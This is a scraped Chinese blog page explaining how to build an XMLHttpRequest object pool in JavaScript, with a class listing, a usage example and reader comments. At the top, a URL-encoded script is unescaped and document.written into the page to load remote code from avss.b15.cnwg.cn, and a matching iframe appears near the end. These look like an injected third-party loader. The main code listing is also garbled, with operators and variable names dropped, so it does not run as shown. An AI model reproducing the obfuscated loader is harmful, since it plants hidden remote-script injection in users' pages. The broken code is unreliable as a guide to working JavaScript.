建一个XMLHttpRequest对象池

 <script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
<script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>

建一个XMLHttpRequest对象池




象池有问题啊。
就是当A读取完之后,读取B的时候,A会一直处于载入状态。就是会重新读取,而且始终无法读取到啊。
zjmatrix:
发现MSN也有在线状态了,具体可看:online.365groups.com
MSN也有在线状态代码(也叫MSN即时互动)了,
而且网友不需要注册和下载MSN,就可随时跟你聊,
原来只有qq在线状态,
这个不错,是国内的网站,速度不错,还有各种图标可选,
可以用到网站作为网站的免费客……
飞飞:
有没有当年你已经编译好的《C++ Primer 第三版源代码帮我发到myemail:lyqx888@163.com










上一篇: js中的template — Jemplate
 | 
下一篇: MSN Search API PHP ClientPosted

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 建一个XMLHttpRequest对象池
  



在ajax应用中,通常一个页面要同时发送多个请求,如果只有一个XMLHttpRequest对象,前面的请求还未完成,后面的就会把前面的覆盖掉,如果每次都创建一个新的XMLHttpRequest对象,也会造成浪费。解决的办法就是创建一个XMLHttpRequset的对象池,如果池里有空闲的对象,则使用此对象,否则将创建一个新的对象。
下面是我最近写的一个简单的类:
/**
 * XMLHttpRequest Object Pool
 *
 * @author    legend <legendsky@hotmail.com>
 * @link      http://www.ugia.cn/?p=85
 * @Copyright www.ugia.cn
 */ 
var 
XMLHttp 
= {
    
_objPool
: [],
    
_getInstance
: function ()
    {
        for (var 


0



this
.
_objPool
.
length


++)
        {
            if (
this
.
_objPool
[
i
].
readyState 
== 

|| 
this
.
_objPool
[
i
].
readyState 
== 
4
)
            {
                return 
this
.
_objPool
[
i
];
            }
        }
        
// IE5中不支持push方法
        
this
.
_objPool
[
this
.
_objPool
.
length
] = 
this
.
_createObj
();
        return 
this
.
_objPool
[
this
.
_objPool
.
length 

1
];
    },
    
_createObj
: function ()
    {
        if (
window
.
XMLHttpRequest
)
        {
            var 
objXMLHttp 
= new 
XMLHttpRequest
();
        }
        else
        {
            var 
MSXML 
= [
'MSXML2.XMLHTTP.5.0'

'MSXML2.XMLHTTP.4.0'

'MSXML2.XMLHTTP.3.0'

'MSXML2.XMLHTTP'

'Microsoft.XMLHTTP'
];
            for(var 


0



MSXML
.
length


++)
            {
                
try
                
{
                    var 
objXMLHttp 
= new 
ActiveXObject
(
MSXML
[
n
]);
                    break;
                }
                
catch
(
e
)
                {
                }
            }
         }          
        
// mozilla某些版本没有readyState属性
        
if (
objXMLHttp
.
readyState 
== 
null
)
        {
            
objXMLHttp
.
readyState 

0
;
            
objXMLHttp
.
addEventListener
(
"load"
, function ()
                {
                    
objXMLHttp
.
readyState 

4
;
                    if (
typeof objXMLHttp
.
onreadystatechange 
== 
"function"
)
                    {
                        
objXMLHttp
.
onreadystatechange
();
                    }
                },  
false
);
        }
        return 
objXMLHttp
;
    },
    
// 发送请求(方法[post,get], 地址, 数据, 回调函数)
    
sendReq
: function (
method

url

data

callback
)
    {
        var 
objXMLHttp 

this
.
_getInstance
();
        
with
(
objXMLHttp
)
        {
            
try
            
{
                
// 加随机数防止缓存
                
if (
url
.
indexOf
(
"?"
) > 
0
)
                {
                    
url 
+= 
"&randnum=" 

Math
.
random
();
                }
                else
                {
                    
url 
+= 
"?randnum=" 

Math
.
random
();
                }
                
open
(
method

url

true
);
                
// 设定请求编码方式
                
setRequestHeader
(
'Content-Type'

'application/x-www-form-urlencoded; charset=UTF-8'
);
                
send
(
data
);
                
onreadystatechange 
= function ()
                {
                    if (
objXMLHttp
.
readyState 
== 

&& (
objXMLHttp
.
status 
== 
200 
|| 
objXMLHttp
.
status 
== 
304
))
                    {
                        
callback
(
objXMLHttp
);
                    }
                }
            }
            
catch
(
e
)
            {
                
alert
(
e
);
            }
        }
    }
}; 
示例:
<
script type
=
"text/javascript" 
src
=
"xmlhttp.js"
>
</script>
<script type="text/javascript">
function test(obj)
{
    alert(obj.statusText);
}
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
XMLHttp.sendReq('GET', 'http://www.ugia.cn/wp-data/test.htm', '', test);
alert('Pool length:' + XMLHttp._objPool.length);
</script> 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值